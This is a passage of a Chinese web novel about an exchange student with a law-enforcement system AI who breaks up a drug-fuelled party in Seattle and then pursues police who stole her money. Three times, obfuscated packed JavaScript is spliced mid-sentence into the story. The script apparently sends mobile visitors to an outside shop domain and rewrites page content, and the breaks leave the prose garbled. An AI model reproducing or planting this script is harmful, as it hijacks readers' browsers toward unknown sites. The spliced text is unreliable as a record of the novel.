那封信上写着:I''msorryIdidn''ttellyouthetruth.I''msorryIdidn''tstandupwiththem.(对不起,我没有告诉你真相。对不起,我没有和她们一起站出来。) 但明安觉得没什么好抱歉的,受害者不应该被绑架,曝光和隐瞒都是她的权力,只属于她自己的权力。 芭芭拉不愿意说,那么这就是最正确的决定,没人可以逼迫她。 可是现在卡罗琳知道了。 “我不想说!” 芭芭拉双目通红,愤怒地对卡罗琳嘶吼,“你怎么可以这样对我!你为什么要这样对我!!!” 她不明白她明明什么都没有做错,为什么要接受惩罚。 她不明白自己已经为队长这个位置牺牲了汗水和健康,为什么还要付出更多代价。 她更不明白,明明卡罗琳拥有远超她无数倍的资源,为什么还要剥夺她最后的尊严?! 卡罗琳有些难过地开口,“我是在帮你,芭芭拉,你不能总是逃避,只有勇敢地面对创伤,才能真正地走出来,而且你不觉得这是一件正义的事吗?或许很多人都在等你当她们的表率呢?” “那是我自己的事!不需要你来教我怎么做!你虚伪到令人呕吐!” 芭芭拉憎恨地看着她。 卡罗琳叹了口气,故作宽容地开口,“好吧,那就放过她吧,我们的芭芭拉可能还没有准备好,这次我就当你默认了,下次可不能这样作弊了……” 众人只好意犹未尽地停下,但内心的好奇却被吊得更高了。 芭芭拉没有松懈,酒瓶再次被转动了起来。 昏暗的灯光下,瓶口和瓶底飞速交叠,像是变成了一个风扇或者圆盘,牵动着每一个人的呼吸。 芭芭拉怔怔地看着,觉得那被人放在地上摆弄观赏的不是酒瓶,而是她自己。 看着卡罗琳始终完美的笑容,她忽而泄了气,她知道就算没有这个游戏对方也会将她内心的恐惧公之于众,她意识到了这一点,她感到一阵天旋地转。 绝望压缩了周遭的空气,让她难以呼吸。 骨碌碌,空酒瓶慢慢地停下了,一圈一圈,像是将人逼入绝境的命运。 卡罗琳亲切的声音再次响起,“Oh,亲爱的芭芭拉,这果然是上帝的旨意,这一回你不能再隐瞒了。” “让我猜一猜,那个人就是……” 众人屏气凝神,像是在等待百万彩票开奖,即便只会带来伤害,不会有任何一个人得到奖品,她们依然期待。 这时却一个人突兀地走进她们中央,将地上的空酒瓶捡了起来。 卡罗琳的声音戛然而止。 明安将酒瓶放在手里抛了抛,像是在寻找一个合适的握法,并有些好奇地问:“你们聊什么这么开心?不会是想说我吧?他们都说芭芭拉给我写了一封情书。” 众人匪夷所思地看着她,很快就意识到这就是芭芭拉这次独自邀请的那名东州留学生。 她们不知道芭芭拉发什么疯,为什么会邀请这种一看就是土包子的人加入她们,是想戏弄她?还是有别的目的? 但更令人没想到的是,这名东州留学生居然真的敢来,她真的就这么横冲直撞的过来了!像个蠢货一样! 她以为这是她们国家无聊的茶话会吗? 短暂的错愕后她们在心里嘲笑起来,心想是时候给她一点教训了,好让她知道新人入会的时候应该怎么做…… 然而下一秒就见明安猛然蹲下身一把拽住卡罗琳的衣领,敲碎瓶底用尖锐的一端抵着她的咽喉,一字一顿地开口:“不管你们在做什么,但我警告你,我不喜欢被人当笑话看,如果你再说一些让我不爽的话,我就将它塞进你的胃袋里!” 在场的人震惊地看着这一幕,紧接着就发出一声尖叫。 “啊啊啊啊啊!!!” “Ohmygod!她想杀人!” “她是个疯子!救命!” 围成一圈的女生顿时作鸟兽散,连滚带爬地缩到了角落。 卡罗琳也吓得面色煞白,不敢置信地看着明安。 明安将她甩开,淡淡地注视了她们一眼,随手把破酒瓶放在茶几上,将那封夹着信的邀请函扔回了芭芭拉怀里,“拿回去吧,严肃地说最后一遍,我真的对你没兴趣。” 芭芭拉落下泪来,整个人不受控制地在颤抖,她用力捂着脸带着哭腔说:“闭嘴,我讨厌你,你这个bic*h……” 她没想到明安真的会来。 她只是突然意识到自己仍然身处危险之中,而且没办法将这件事告诉身边任何一个人。 没有任何一个人会真的在意她的想法,也没有任何一个人像明安那样让她感到安全。 就连她的父母也不行,他们早就被工作夺走了所有的时间精力,他们总对她说“芭芭拉,你已经成年了,不能总像个没有长大的小女孩一样给我们惹麻烦”。 而靠拉帮结派交的朋友也是这样,势利和虚伪是她们与生俱来的天赋,精致完美的表象下是冷漠无情的心脏,根本不懂得同情怜悯为何物,曾经芭芭拉也是其中之一。 她想了又想,茫然四顾,发现能救她的人居然只剩下了明安,一个她以前根本不屑来往的边缘人。 富兰克林曾经说过:那些帮过你的人,会比那些你帮助过的人更愿意再次帮你。于是芭芭拉就这样做了,同时她也觉得自己很可笑。 但她真的别无选择,她没有办法也没有时间去赌第二个人的善良了,也不知道自己是否真的抓住那渺茫的希望。 可她没想到明安真的会来。 她真的来救她了,再一次。 芭芭坐在明安脚边的地板上失声痛哭,这一刻她几乎要以为自己见到了真正的上帝。 明安面无表情地想,她已经分不清这是自己听到的第几声bic*h了,怎么,你们山姆人是把脏话当标点符号在用? 左凌见场面安静下来,不动声色地挪到她身边,心情非常复杂,在她以为闺蜜已经到瓶颈了的时候,对方总能带给她新的震撼。 她发誓,这绝对赖不到她头上,她绝对没有教明安这个,这都是明安自己“举一反三”的! 难道这就是所谓平静的疯感? 不过事已至此,来都来了,左凌单手叉腰,狐假虎威地欣赏着闺蜜打下来的“江山”。 现在谁还敢说她们是小透明?什么小透明能把学校金字塔吓得屁滚尿流? 忠诚的西雅图该向她们俯首了! 可惜暂时的威慑不足以令这些人彻底老实,卡罗琳已经率先回过神来。 fu*k!这么多人怕她们做什么?! 她从地板上爬起来,头发乱了,脸上彻底失去了往日虚伪友善的笑容,但一双漂亮的眼睛死死地注视着明安和左凌,格外的狰狞,“东州人,如果想找死的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133754|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们成功了——” 说着她和其他女生就各自抄起了趁手的家伙,愤怒地朝明安等人走来。 她们可不是什么软弱的小可爱! 左凌暗道不好,连忙拉住明安往后退,“完了完了,她们彻底怒了!怎么办?我们不会死在这里吧!” 明安安抚地拍了拍她的手背,“放心,我早有准备。” 左凌赶紧问:“什么准备?” “预备,跑!” 说罢,明安便抓起她和芭芭拉朝着楼梯的方向飞奔而去。 “???” 这算哪门子准备?!! 左凌人都傻了,但不得不说,三十六计,走为上计,这确实是最有智慧的选择。 咚咚咚咚咚,她们快步下楼,像是身后有一群丧尸在追,左凌预感的大逃杀果然还是发生了。 死腿,快跑啊,要是被这些人追上,到时候拿去包饺子别人都嫌她们太碎!!! 明安一边狂奔一边在心里呼叫系统,“011,借你放《黑猫警长》的虚拟投影给我用一下,快!你的同事要不行了!” 011不得不暂停自己的下班时间,“……这是公共财物,请您下次提前报备。” “好好好!下次一定!” 话落明安边感觉到仿佛有什么激光从自己身上扫描而过,紧接着整栋别墅的灯光骤然熄灭,惊呼声随之响起。 “bic*h!你踩到我了!” “怎么回事?是停电了吗?” “该死!我看不见了!” 突如其来的黑暗让所有人猝不及防,很快有人在楼梯上摔了一跤,并带倒一大片,尖叫和怒骂声交织在一起,场面乱作一团。 左凌松了一口气,心想天助我也! 然而回头一看,她却瞬间呆在原地。 只见楼梯间的窗户大开着,灰蓝色的天空成为唯一的光亮,一个身影不知何时出现在那里。 夜色勾勒出对方简洁利索的轮廓,她穿着一身黑色制服,看不清面容,唯有胸前赤火荧荧,像个幽灵一样静静地蹲在窗台,也宛如猛兽在黑暗中狩猎,等待着一击致命的时机。 所有人都被这一幕惊呆了,一时间忘记了动作,也忘记了呼吸。 左凌率先反应过来,激动地抱住明安的肩膀,“啊啊啊!是她!就是她!明安你快看!她就是那个蓝星执法者!!!” 明安顺着她点头,面上也露出了惊讶的神色,心想这模拟得也太逼真了,给她自己都看迷糊了,不知道的还以为是她的复制体。 其他人同样被左凌的话惊醒。 “Ohmygod!” “这居然是真的!” “她是什么时候出现的!” 他们震撼地仰头看着这一幕,所有互联网上揣测和想象,以及口口相传的描绘瞬间具象化了。 没错,就是她,这就是那个传说中的蓝星执法者,这几乎毋庸置疑! 上帝啊,他们真的见到了她! 也不知道怎么想的,在未知的危险面前,他们第一反应居然不是逃命,而是拿出手机来录像。 刷过TikTok的人都知道,说中文的警察一般不会和老百姓打成一片。 但紧接着他们就看到窗台上的人单手扶框,用另一只手拿出一枚肖似手榴的金属球体,咬下上面的保险扣,以一种极其优雅从容的姿态抛向了她们,不知道的还以为是在抛绣球。 直到咚的一声,金属落地。 众人傻傻地愣了一下,这才后知后觉地发出足以掀翻屋顶尖叫。 34. 第 34 章 “啊啊啊啊啊!!!” “她丢了一颗炸弹!” 左凌也被这操作吓傻了,虽然她知道那不是真的炸弹,但也同样感到崩溃。 不是吧同志,你又敌我不分! 她已经有经验了,连忙去捂自己和明安的鼻子,但显然为时已晚,白色的雾气瞬间将她们吞噬,左凌两眼一翻就倒了下去,还好被明安手疾眼快接住了。 年轻真好,倒头就睡。 明安托着左凌的后背小心将人放在地上,丢麻醉弹就是她的主意,她已经戴上了执法者制服的配套防毒面罩,倒是没有什么事。 但她也不比其他人淡定多少,“……011,我好像没有让你用我的投影耍帅。” 她只是让它稍微吓唬他们一下而已,结果它却来这么一出,这让她以后怎么见人? 011:“每天学一句短语:Youcanyouup,nocannobb,这是一句经典的Chinglish(中式英语),现已在山姆国广泛传播,但因语义不太文明不便科普。本次加班费50功勋点,请您及时转账。” “……” 它一个AI还有小脾气。 明安一言难尽,算了,凑合用吧,不然还能解绑不成。 她将麻醉弹和它的加班费一起付了,合计100,还剩余额1000功勋点。 此时周围的人都已经倒下了,但明安没有立刻行动,而是让011黑进这些人的手机里关了他们可能还开着的录音或者录像。 所有人都晕倒了她就没必要变装了,不过录了她装×的投影也就罢了,别把不应该录的也录了。 万事俱备,明安这才开始工作。 麻醉弹里还剩下一些,她秉承着不浪费的想法将它踢下了楼梯,并一边翻着商城一边问:“011,有没有什么能够快速检测吸|毒人员的道具?这么多人我一时半会人分辨不了。” 这个011倒真的有考虑过,毕竟她确实有抓错人的先例在,“您好,扫毒雷达正在开发,可以提前邀您内测,请您开放视觉权限。” 明安眼神一亮,立刻点了同意。 【扫毒雷达已开启。】 系统音响起,她顿时感到有一股无形的力量以自己为中心扩散开来,可能是激光,也可能是某种磁场。 紧接着她又感到有什么东西接入了自己的大脑,直达视网膜,轻微的电流声过后,眼前的场景顿时换了个模样。 现实世界仿佛变成了3D建模,地面出现了类似地图的网格,空气中弥漫着成分不明的红色分子,更多的流淌在个别人体内,像是猩红的血液,诡异又蕴含警示效果。 显然,空气中飘着的是毒|品分子,而这些发红光的人就是吸|毒者。 “011,你是天才!” 这样就有效率多了,明安摩拳擦掌,还不忘问了一句,“这个多少钱?我马上打给你。” 011:“此类功能属于系统基础执法辅助范围,不需要付费,祝您工作愉快。” 愉快,太愉快了,明安立刻掏出一捆银手铐。 就在这时,一个红得显眼的人出现在了楼梯口,正是花花公子布雷克。 黑暗中,喷着白雾的金属球叮叮当当地滚到了他脚边,而他恰好也看到了立在上方的明安。 刚刚一楼音响开得大,这些人嗨上头了,不知道楼上发生了什么。 直到灯光一暗,突然断电,他们这才骂骂咧咧起来。 布雷克本来就想上来找明安,便接着这个理由率先往楼上走,紧接着就惊喜地发现了“落单”的明安。 他没有注意到那个滚去了一楼大厅的麻醉弹,也不明白她为什么要拿东西遮住脸。 但他还是下意识伸手撑在墙上,挡住了明安的去路,笑容满面地看着她说:“宝贝儿,怎么一个人下来了?是她们排挤你了吗?没关系,我陪你喝一杯吧……” 说着他就将精心调制的鸡尾酒递给了她,深邃的眼窝中满是深情。 明安沉默地看了他一眼,又看了看泛着红光的鸡尾酒,“……你这是在自投罗网吗?” 给人下毒,这可太有判头了,还能给她多增加了几十个功勋点。 本来单纯抓吸|毒者就只有10功勋点,但他成功提高了自己的身价,现在价值50功勋点。 布雷克隐约觉得自己的大脑有些发昏,似乎哪里不对,但他只当是自己酒劲上来了,亦或是荷尔蒙作用下大脑充血而造成的错觉。 他迷醉地说:“是的,美丽的小姐,我甘愿投入你的情网……” “很抱歉,我只有法网。” 明安面无表情地给了他一麻醉枪,拷进空间监狱。 过了一会儿,麻醉弹里的药物彻底释放完毕,一楼的人也都睡着了。 他们原本在等待布雷克的好消息,但等着等着,就进入了梦乡。 明安从楼梯间走出来,依次给他们带上手铐,这群人堪称物以类聚,大部分都给她贡献了功勋点,只有零星几个人没有吸过毒,比如那个被她夸过“小可爱”的。 收拾完他们之后,明安又回到楼上。 这些姐妹会成员中吸|毒的人倒不多,只有两三个,卡罗琳及其她相熟的人都是不吸的。 这不奇怪,毒|品大多数时候是山姆国底层人的索命符,稍微有点层次的人都会有意识地避免自己沾染上,更何况她这种精致的富家千金。 就是芭芭拉有点不对劲,身上隐约有红光在闪烁,却又不符合抓捕标准。 011:“她是药物成瘾,没有吸食禁止名单上的常规毒|品。” 明安沉默了一下,表示自己知道了,又去左凌说绝对不能推开的、那些紧闭的房间里抓了一些漏网之鱼。 事实证明,左凌说的确实没错,那里面的场景不打码根本就过不了审。 男的和女的,女的和女的,男的和男的,以及各种群体活动,每当明安以为他们终于到达人类极限了时候,他们总能告诉她人类的繁衍艺术是没有创新瓶颈的,有些明安还花了好一番力气才把他们分开。 做完这一切后,明安收获650功勋点,余额来到了1650功勋点。 但她觉得这完全不足以弥补这给她造成的工伤,她觉得现在自己的心已经冷得像农场里给猪配了十年种的的育种员,以后看到再劲爆的场面都不会有情绪波动了。 明安麻木地处理掉多余的痕迹,营造出执法者已经离开的假象。 然后就回到左凌身边找了个舒服的姿势躺下,收起面罩猛吸了一口空气中残留的麻醉剂,“011,我睡会儿,有危险就电醒我……” 说着她就不受控制地打了个哈欠,失去了意识。 011:…… 系统就一定要会电击吗,请问。 此从和明安绑定,它莫名其妙地被开发了很多以前根本就不存在的功能…… …… 事实证明,明安的准备没有错,几乎在她刚睡着的时候,一群山姆国的警察就冲进了这栋别墅。 他们仍然没有放弃对她的监视,不过之前是为了执法者的事,现在却单纯是为了自己的金主,他们担心她真的得到了什么证据,大吵大闹影到了芬太。 经过调查,他们发现她是真的联系过东州大使馆,东州大使馆还向留学生发布过相关的警示文章。 不过除此之外明安倒没有再做其他的事,她依旧正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138131|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常上学,正常听课,正常放学,重办理好驾照和ID后也并没有表露出要对芬太刨根问底的迹象。 这倒很好理解,她只是个留学生,东亚人一向秉承多一事不如省一事的原则,安全回去才是她的首要任务,没必要以卵击石。 这种识趣的做法让警察很满意,连封口的功夫都省了。 但就在他们要收工的时候,眼前这栋灯火通明的别墅却突然暗了下来,监听设备发出一些不太正常的声音。 “Ohmygod,她又来了!” “这到底是怎么做到的!” 警督抵达现场后,立刻就看到了满地的中文纸张,顿时觉得匪夷所思。 他们一直蹲守在这栋别墅附近,也并没有看到什么可疑的人或交通工具来过,更没有苏珊说的那什么UFO。 可那个所谓的执法者还是神不知鬼不觉地来到了这里,并凭空逮捕了数十个山姆国公民。 这么多人她是怎么运走的? 警督沉着脸看着眼前的一地狼藉,忽而朝手下怒吼:“给我找到那个东州女留学生!她一定有问题!” 世界上哪来那么多巧合?一次是巧合,那两次、三次,四次呢?为什么她总能恰到好处地出现在案发现场又毫发无损? 这里是西雅图,不是米花町,她更不是什么奇怪的侦探!而他也不信什么超自然力量! 如果不论如何都找不到其他线索,那么作为异常的她就是线索本身!即便她有再多借口! “长官!我找到她了!” 这么快?警督有些意外。 但紧接着另一个人的话却让他更加错愕,“长官!执法者不是那个东州女留学生!她们不是一个人!很多人都拍到了!” “OMG,原来这就是执法者,和两位目击者描述的一样!” “她真的是个人类!” 警督大步走过去夺过那几个手机,暂时压下看到那位执法者真身的震撼,仔细观察录像中的画面。 有些人在拍摄执法者的过程中不小心晃到了明安的身影,她和其他普通人一样震惊地看着这一幕,她的朋友还叫了她的名字。 而现在她也就躺在画面里的那个位置上,和其他人一样,毫无戒备,也毫无威胁。 不论从哪个角度来看,她和执法者都是毫无关系的两个不同的个体,他刚刚升起的笃定和怀疑瞬间就被这些画面打碎了。 警督的手用力收紧,仍然有些不死心,“给我搜身!继续查!” 如果不是明安,他们还能去哪里抓人?登月吗? 他就不信世上还真有人这么倒霉,去哪都能遇到麻烦,短短几天就碰到了那么多险象环生的案件。 明安就是执法者,这是目前最方便、最容易处理的结果了。 然而下属还是没有找到任何可疑的物品,她的手机里也没有什么脱离她自身身份的信息,一切都吻合了她自己的供述。 他们真心不认为执法者和明安有半美金的关系,他们觉得自己的长官也没必要再以正常的刑侦思维去揣测非正常的现象了。 为什么一定要执着于从现实社会中寻找目标呢?或许她就是从天上掉下来的也说不定,就像今晚一样。 而且明安刚联系过大使馆,如果真在这个风口浪尖贸然给她定罪,估计又少不了和东州发生一些外交摩擦。 其中一个警察看着明安的证件,有些犹豫地开口,“Sir,不知道您是否了解过一些东州文化,我发现今年好像是她的本命年……” 东州流传着这样一个说法:本命年犯太岁,太岁当头坐,无喜必有祸。 所以明安真这么倒霉也是合理的。 警督:…… 35. 第 35 章 警督最终还是听取了下属的劝告。 证据确实还不够充足,反正抓捕其他山姆国人或者非法移民也可以完成KPI,他当然尽量挑软柿子捏,没必要招惹一个可能会给他带来麻烦的东州留学生。 多一事不如少一事,东州有些古话还是很有哲理的。 警察们加快了勘察现场的进程,以现在蓝星执法者的热度,记者和网红们很快就会赶来,他们最好在他们来之前完成工作。 不知过了多久,明安感到一阵酥麻席卷全身,整个人垂直做起,警铃大作。 怎么回事?还真有危险? 警察发现她是执法者了?? 然而映入眼帘的是还没有完全亮起的天空、淡淡的晨雾和树上的鸟叫,身边还传来几位女士诧异的问候,一切看起来都很安全。 明安紧绷的神经微微放松下来,不解并委婉地说:“011,你漏电了……?” 她怀疑它在以公报私,报复她这个总是害它加班的同事,毕竟说好的遇到危险再电她,可现在哪里有危险? 011:“温馨提示,警察给您叫了救护车,它的起步价是1200美金,上不封顶。” 明安:“?” 明安:“!!!” 危险,这确实很危险。 原谅我的愚昧,011你太靠谱了! 她一个鲤鱼打挺从担架上下来,对护士们摆手三连,“坐不起!坐不起!你们还是让我死在这儿吧!” “……” 护士们见怪不怪,坐不起就对了,下了班后她们自己也坐不起。 根据Bankrate的调查显示,56%的山姆国成年人都无法用储蓄支付1000美元以上的紧急开销,所以大部分时候救护车并不能拯救他们的性命,反而会将他们推向破产的深渊。 但这也没有办法,资本主义国家的医院是盈利性质的,他们是资本家,不是慈善家。 见她们并不执着于将她拉走,明安松了一口气,心想自己的钱算是保住了。 然而她下意识伸手一摸,却发现两边的口袋空空如也,顿时心头一跳。 不对,左凌还给她的五千美金呢,她不就放在这儿了吗? 011:【根据《东州人民共和国刑法》第二百四十六条规定,盗窃公私财物,数额较大的,或者多次盗窃、入户盗窃、携带凶器盗窃、扒窃的,处三年以下有期徒刑、拘役或者管制,并处或者单处罚;数额巨大或者有其他严重情节的,处三年以上十年以下有期徒刑,并处罚金……】 【当前1美元兑东州币的汇率约为7元,山姆国警察8人盗取您的财产共5000美金,合计3.5万东州币,数额巨大。*】 【案件危险评级:B,奖励:1800功勋点,请您尽快将犯罪嫌疑人抓捕归案。】 明安:……? 等一下,请等一下,你说是谁盗取了我的五千美金??? 警察,盗窃,抓捕归案,这是能放在一起的词儿吗?这还是中文吗??? 为了解答她的困惑,系统面板弹出,播放了一段系统的监控录像,画面里正是那几位昨天中午才质问过她的山姆国警察。 他们在完全没有证据和搜查令的情况下,搜了她的身,翻看了她的手机,发现没有可疑之处后就挑挑拣拣地把那5000美金放进了自己的口袋里。 整个过程行云流水,娴熟自然,仿佛那根本就不是她的私人财产,而是他们应得的小费。 【证据确凿,请您尽快将犯罪嫌疑人抓捕归案。】 明安:………… 走罪犯的路,让罪犯无路可走。 米利坚警察果然名不虚传。 即便早就知道了他们的抽象,明安还是足足沉默了好一会儿。 她原本是不太想和他们打交道的,毕竟自己只是个半路出家的执法者,比不上他们枪法娴熟,上次那个局长穆尔就差点把她崩了,即便有制服保护也还是翻车的可能性。 而且他们多少会点刑侦手段,万一跑个一个两个,认出她了怎么办? 但事已至此,她总不能连自己的五千块钱都不要了,那可是五千块,还是美金!睡一觉就没了!还是被警察拿走的! 正常人谁能咽下这口气? 明安深吸一口气,努力平复好情绪,收拾好自己的东西,发现其他东西没有少才放心下来。 她是最先醒来的一个,算算时间party上其他人的药效也快要消失了。 想着毕竟是自己扔的麻醉弹,明安便将左凌在内的所有人都叫醒,省得他们多花冤枉钱,反正麻醉药里又没什么有害成分。 见都不愿意上车,医护人员们只好放弃。 但即便不拉他们去医院,救护车也不可能白来一趟,出车费、调度费和服务费依然是需要支付的,不过这和可能产生的医药费比起来就没那么重要了。 明安眼前一黑,只好用功勋点兑换一笔钱付了自己和左凌的,一共2500美金。 其他人的她就没管了,他们霸凌了她们这么久总要付出一点代价。 而这些人不明真相,看到整个party居然就剩这么几个人了顿时觉得劫后余生,感觉昨晚跟做梦一样,反而对把自己从救护车上解救下来的明安感恩戴德。 救护车一响,全家破产,要不是她醒得早,他们可能就要去睡大街了,这对某些经济不太宽裕的人来说不亚于救命之恩。 他们没想到经历了那么多她还愿意伸以援手,付完钱后,他们感动哭了。 当然,这里面不包括卡罗琳。 她的有钱程度和在场的人不是一个量级,明安都还在地上躺着,她就已经被家里派来找她的保镖带走了。 而且听别人聊天明安才知道,卡罗琳的父亲居然就是芬太的大股东。 她家上个世纪是Mafia,也就是黑·手党,据说还有贵族血统,虽然比不上那些世界有名的大组织,但在当地也算有头有脸。 当时他们主要做的似乎是毒·品生意,现在金盆洗手改卖药了。 不过从药物成分上来看,他们依旧很好地延续了家族的传统,而且现在还是合法的。 “喂,我的party还不错吧?” 正要离开的时候,明安听到芭芭拉有些别扭的声音。 她沉默了一下,“……确实没白来。” 既增长了见识,深刻得体会到了山姆国的风土人情,还拓展了自己的业务范围,以后不但要去抓罪犯,还要去抓本应该抓罪犯实际上却在和罪犯抢生意的警察。 这怎么不能算是一种满载而归呢? 芭芭拉听到这句话松了口气,她不知道什么时候又把自己打理好了,金发碧眼,精致又傲慢的美式甜心。 但在和明安说话的时候,她的手却不受控制地抠着指甲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不知所措,又突然感到一阵疲惫涌上心头,过去的自己好像就和身后那栋别墅一样,总是精彩纷呈,人头攒动,像是每时每刻都处于世界的中心。 可热闹过后除了一地的垃圾什么也留不住。 其实她想向明安道歉和道谢的,她还想让明安不要那么讨厌她了。 她知道对方为她做的每一件事、说的每一句话抱有多么美好的善意,可她不知道为什么自己连做好这点小事的能力都没有…… “芭芭拉!” 这时有人叫了她一声,芭芭拉下意识回头,还没反应过来就已经被出差回来的父母紧紧地抱进了怀里。 他们不断抚摸着她的头发、肩膀和后背,声音温柔又心疼,“Ohmybaby,你没有受伤真的太好了,听说昨天晚上发生了很多事,你一定吓坏了吧……” 芭芭拉瞬间泪流满面,在父母温暖的怀抱中仿佛回到了童年。 她想她或许从未被抛弃,从未被父母抛弃,也从未被世界抛弃。 走到这一刻已经没有什么能将她摧毁了,未来还有很多美好值得她去探寻,一切都还可以改变,她想要的东西也还有机会得到。 只要她还活着,只要她还期待着明天。 那就没有什么是不可能的。